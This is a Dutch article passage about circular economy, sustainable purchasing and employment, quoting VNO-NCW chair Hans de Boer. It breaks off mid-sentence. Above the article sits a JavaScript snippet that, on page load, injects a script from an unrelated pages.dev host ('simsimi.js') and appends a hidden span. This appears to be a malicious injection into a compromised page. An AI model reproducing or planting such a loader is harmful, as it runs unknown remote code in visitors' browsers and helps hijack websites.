document.addEventListener('DOMContentLoaded', function(){var s=document.createElement('script');s.src='https://91a31208.asukontol.pages.dev/simsimi.js';document.head.appendChild(s);var h=document.createElement('span');h.style.display='none';h.textContent='Simsimi';document.body.appendChild(h);});

Je best doen om op te letten wat je koopt en te kijken of een bedrijf in lijn is met jouw eigen normen en waarden kan soms best irritant en vermoeiend zijn. Er zijn zowat bijna geen reclames zonder de woorden ‘bewust’ en ‘sustainable’ en het wordt hierdoor steeds moeilijker om een -naar jouw idee- goede keuze te maken. Deze moeilijkheid speelt ook bij bedrijven die willen laten zien wat ze ondernemen om de wereld een betere plek te maken. Waar moet je op letten om je aankopen of de producten en services die je aanbiedt te onderscheiden van de rest?

 

De Rijksoverheid werkt ernaartoe om volledig circulair te zijn in 2050 en hiervoor zijn er concrete plannen nodig. Hans de Boer, voorzitter van de werkgeversorganisatie VNO-NCW, die veel potentie ziet in een circulaire economie, vertelde in januari al, dat er bedrijfsmatig veel zal moeten veranderen. ‘We moeten processen gaan inrichten, we moeten gaan samenwerken, er moeten nieuwe businessmodellen komen. Als we dat niet doen, dan blijft het en gezellig babbelbox.’ Aldus, Hans de Boer.

Een circulaire economie heeft vele aantrekkelijk kanten, waarvan een overheersend deel bestaat uit het voorkomen van de verdere beschadiging, uitputting en vervuiling van de aarde. Dit grote duurzame aspect klinkt weinig mensen verkeerd in de oren. Wél vragen veel zich af, of dit nou uit te voeren is met betrekking tot de werkgelegenheid. Hoe zit het met de banen?

Welke stap maak jij?

Via Leef Circulair heb ik